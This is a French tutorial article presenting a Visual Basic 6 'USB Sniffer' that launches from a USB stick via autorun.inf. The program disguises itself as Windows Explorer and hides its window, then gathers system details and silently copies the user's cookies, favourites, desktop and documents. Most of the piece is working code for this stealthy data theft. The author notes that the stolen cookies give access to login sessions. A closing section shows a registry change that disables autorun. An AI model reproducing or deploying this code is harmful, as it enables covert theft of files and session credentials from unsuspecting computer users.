Les attaques par clés USB sont de plus en plus fréquentes. D'une telle simplicité, ces attaques nécessitent essentiellement de convaincre une personne de mettre sa clé dans notre PC, ou bien à l'inverse, d'accepter notre clé USB sur son PC, nous allons voir dans ce présent article comment programmer dans un langage assez simple et proche de Windows un "USB Sniffer".





0x01. PRESENTATION


Le programme que je vais vous présenter, est un programme présent sur la clé, qui aura pour action de récupérer les fichiers des favoris, des cookies, des documents et du bureau. Ces dossiers particuliers ont des emplacements variables qu'il nous faudra récuperer. Ensuite il faudra rendre le programme aussi furtif que possible, mais sans rentrer dans le détail, sans que notre programme ait les particularités des rootkits (chargement de drivers, crochetage de fonctions systèmes...).

L'intérêt d'un tel programme peut être par exemple, lors de la mise à jour d'un parc informatique, d'avoir à récupérer les anciennes configurations, il suffit alors d'insérer la clé USB pour auditer la configuration du poste actuel, plutôt que lancer le programme, imaginez un peu le gain de temps, l'insertion d'une clé pour récupérer des informations sur un poste, ça pourrait même se faire sans interrompre l'utilisation du poste de l'utilisateur.

Dans un esprit un peu plus malsain, ça peut permettre de voler les identifiants de connexion (grâce aux cookies) qui eux n'ont pas besoin d'être récupérer dans un tel cas.

Je ne me place dans aucun des deux contextes ci-dessus, cela montre une fois de plus que le virus vient de la main de l'Homme, et que si du mal est fait il est nécessairement voulu.





0x02. PROGRAMME


Nous allons tout d'abord tenter de rendre le programme furtif. Pour cela, nous allons donner des noms d'application assez commun aux systèmes Windows.


 
' Fonction de démarrage de la feuille
Private Sub Form_Load()
 
' Nous nous assurons que le programme n est pas visible
Me.Top = -10000
Me.Left = -10000
Me.Hide
Me.Visible = False
App.Title = "Explorateur Windows"
 
' Audite la configuration, récupère les programmes installés
' et les informations d environnement (username, computername, proxy...)
AuditMachine
AudtiApp
 
 
' Nous ouvrons le lecteur oà se trouve le programme :
' g:\\usbsniffer\\explorer.exe ouvrira g:
Lecteur = Mid(App.Path, 1, 3)
Shell "explorer.exe " + Lecteur, vbNormalFocus
 
 
' Récupère les favoris, cookies, fichiers du bureau...
ObtenirLesFichiers
' ...et du dossier "Mes documents"
' CopierLesDocuments 
 
 
' Décharge la feuille...
Unload Me
 
' ...et quitte le programme
End
End Sub
 

Une fois la fonction principale et le plan déterminés ils faut maintenant écrire les fonctions dont nous avons besoin : ObtenirLesFichiers, AudtiApp et AuditMachine .

Dans un nouveau module nous allons donc les écrire. Pour ces fonctions nous aurons besoin d'objets Windows, d'utiliser ses API pour aller simplement pointer sur le registre . Nous allons utiliser les propriétés des objets Windows Shell Scripting. Il nous faut tout d'abord créer un rapport. Pour cela en variable globale il y aura le dossier du rapport :


Public DOSSIER_RAPPORT As String 

Le module AuditMachine


Set FileSys = CreateObject("Scripting.FileSystemObject")
Set TxtFile = FileSys.CreateTextFile(FichierConfig, True) 

En ce qui concerne la récupération d'information, nous récupérons d'abord l'adresse IP ou le nom du proxy d'Internet Explorer, ainsi que son script de connexion :


Dim ws
Set ws = CreateObject("WScript.Shell")
 
ProxyServer = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer")
AutoConfigURL = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL")
 
 
Text = "<br><br><br><br><u>Configuration Internet :</u><br><br>"
Text = Text & "Proxy               : " & ProxyServer & "<br>"
Text = Text & "Script de config.   : " & AutoConfigURL & "<br>"
TxtFile.writeline Text
 
'wscript.echo "Audit des mappage réseau : Ok"
TxtFile.writeline "</table> <p><a aligne=center href=javascript:self.print()>Imprimer le document</a></p></pre>"
TxtFile.Close 

Nous récupérons ensuite l'environnement de la machine et de l'utilisateur :


Text = "Profile                    : " & Environ("USERNAME") & "<br>"
Text = Text & "Ordinateur                 : " & Environ("COMPUTERNAME") & "<br>"
Text = Text & "Chemin du profil           : " & Environ("USERPROFILE") & "<br>"
Text = Text & "Domaine utilisateur        : " & Environ("USERDOMAIN") & "<br>"
Text = Text & "Serveur d'authentification : " & Environ("LOGONSERVER") & "<br><hr>" 
TxtFile.writeline Text 

Puis pour finir par les imprimantes partagées :


' On utilise le langage WMI interposé sur Visual Basic pour interroger les imprimantes partagées :
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\\\" & strComputer & "\\root\\cimv2")
Set colInstalledPrinters = objWMIService.ExecQuery("Select * from Win32_Printer")
 
For Each objPrinter In colInstalledPrinters
    Text = Text & "<b>Nom: </b>" & objPrinter.Name
    Text = Text & "<br><b>imprimante par défaut</b> : " & objPrinter.Default
    Text = Text & "<br><b>Port: </b>" & objPrinter.PortName
    Text = Text & "<br><b>Imprimante Reseau:</b> " & objPrinter.Network
    If objPrinter.Default = True Then
        prntName = "> " & objPrinter.Name
    Else
        prntName = objPrinter.Name
    End If
    Text = Text & "<br><br>"
    comp = Text
    TxtFile.writeline (comp)
    Text = ""
Next 

Le module AudtiApp


Voici les variables à définir :


Set FileSys = CreateObject("Scripting.FileSystemObject")
 
FichierApps = DOSSIER_RAPPORT + "\\Applications.html"
 
Set TxtFile = FileSys.CreateTextFile(FichierApps, True)
Const HKLM = &H80000002 'HKEY_LOCAL_MACHINE
 
strComputer = "."
strKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"
strEntry1a = "DisplayName"
strEntry1b = "QuietDisplayName"
'strEntry2 = "InstallDate"
strEntry3 = "VersionMajor"
strEntry4 = "VersionMinor"
'strEntry5 = "EstimatedSize"
 
' Interrogation WMI sur les programmes installé et enregistrés (dans le registre)
Set objReg = GetObject("winmgmts://" & strComputer & "/root/default:StdRegProv")
objReg.EnumKey HKLM, strKey, arrSubkeys 

Mise en forme du rapport :


TxtFile.writeline "<font face='courier' size=2><table cellspacing=10><tr><td><b>Applications installées</b></td></tr>" 

Pour chaque application trouvée, nous affichons sont DisplayName (nom), QuietDisplayName (nom simplifié), VersionMajoret (version) son VersionMinor (correctif) :


i = 0
For Each strSubkey In arrSubkeys
 
    intRet1 = objReg.GetStringValue(HKLM, strKey & strSubkey, strEntry1a, strValue1)
 
    If intRet1 <> 0 Then
        objReg.GetStringValue HKLM, strKey & strSubkey, strEntry1b, strValue1
    End If
 
    If strValue1 <> "" Then
        If InStr(strValue1, "Mise à jour") = 0 And InStr(strValue1, "Correctif") = 0 And InStr(strValue1, "Update") = 0 Then
 
            i = i + 1
 
            If strValue1 <> "" Then
                If i Mod 2 = 0 Then
                    Text = Text & "<tr bgcolor= #CCCCCC><td>" & strValue1 & "</td>"
                Else
                    Text = Text & "<tr bgcolor= #FFFFFF><td>" & strValue1 & "</td>"
                End If
            Else
                Text = Text & "<td></td>"
            End If
 
            objReg.GetDWORDValue HKLM, strKey & strSubkey, strEntry3, intValue3
            objReg.GetDWORDValue HKLM, strKey & strSubkey, strEntry4, intValue4
 
            If intValue3 <> "" Then
                Text = Text & "<td>" & intValue3 & "." & intValue4 & "</td>"
            Else
                Text = Text & "<td></td>"
            End If
 
            Text = Text & "</tr>"
            comp = Text
 
            If strValue1 <> "" Then
                TxtFile.writeline (comp)
            End If
        End If
    End If
 
 
Text = ""
 
Next 

Sans oublier la mise en forme HTML :


TxtFile.writeline "</table></font> <p><a align=center href=javascript:self.print()>imprimer le document</a></p>"
TxtFile.Close 

Le module ObtenirLesFichiers


Dans un premier temps, nous cherchons dans le registre les chemin des dossiers particuliers :


Dim ws
Set ws = CreateObject("WScript.Shell")
On Error Resume Next: Favorites = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Favorites")
On Error Resume Next: desktop = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Desktop")
On Error Resume Next: cookies = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Cookies")
On Error Resume Next: Personal = ws.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Personal")
 
 
Favoris = DOSSIER_RAPPORT + "\\Favoris"
Bureau = DOSSIER_RAPPORT + "\\Bureau"
Gateaux = DOSSIER_RAPPORT + "\\Cookies"
Fichiers = DOSSIER_RAPPORT + "\\Documents"
 
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
On Error Resume Next: FSO.CopyFolder Favorites, Favoris
On Error Resume Next: FSO.CopyFolder desktop, Bureau
On Error Resume Next: FSO.CopyFolder cookies, Gateaux
On Error Resume Next: FSO.CopyFolder Personal, Fichiers 




0x03. AUTORUN.INF


Maintenant que nous avons notre programme, nous allons le rendre auto-exécutable à partir d'un clé USB, pour cela on oubliera pas les DLLs VB : Vb6fr.dll et msvbvm60.dll . Mais il faut un fichier autorun.inf pour qu'une fois la clé USB insérée il suffise d'un double-clique :


[AutoRun]

shellexecute=autorun\\explorer.exe 



0x04. SECURISATION


Pour désactiver l'autorun des clé USB, il faut inscrire dans un fichier NoUSBAutorun.reg :


Windows Registry Editor Version 5.00
 
[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer]
"NoDriveTypeAutoRun"=hex:00,00,00,ff
 
[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer]
"NoDriveTypeAutoRun"=hex:00,00,00,ff
 
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\IniFileMapping\\Autorun.inf]
@="@SYS:DoesNotExist" 




0x05. CONCLUSION


Voici les programmes utilisés au cours de ce tutoriel


Sources complètes du programme décrit.


   =>   Écrit par : Nicolas, le 13 novembre 2008


 
Mots clés :  
  security 
  
  windows 
  
  usb 
    >   Articles connexes :

/tmp et /var/log en noexec sur macOS



Comment gagner du temps sur Internet



Durcissement de Windows



Powershell : Moniteur USB



1244969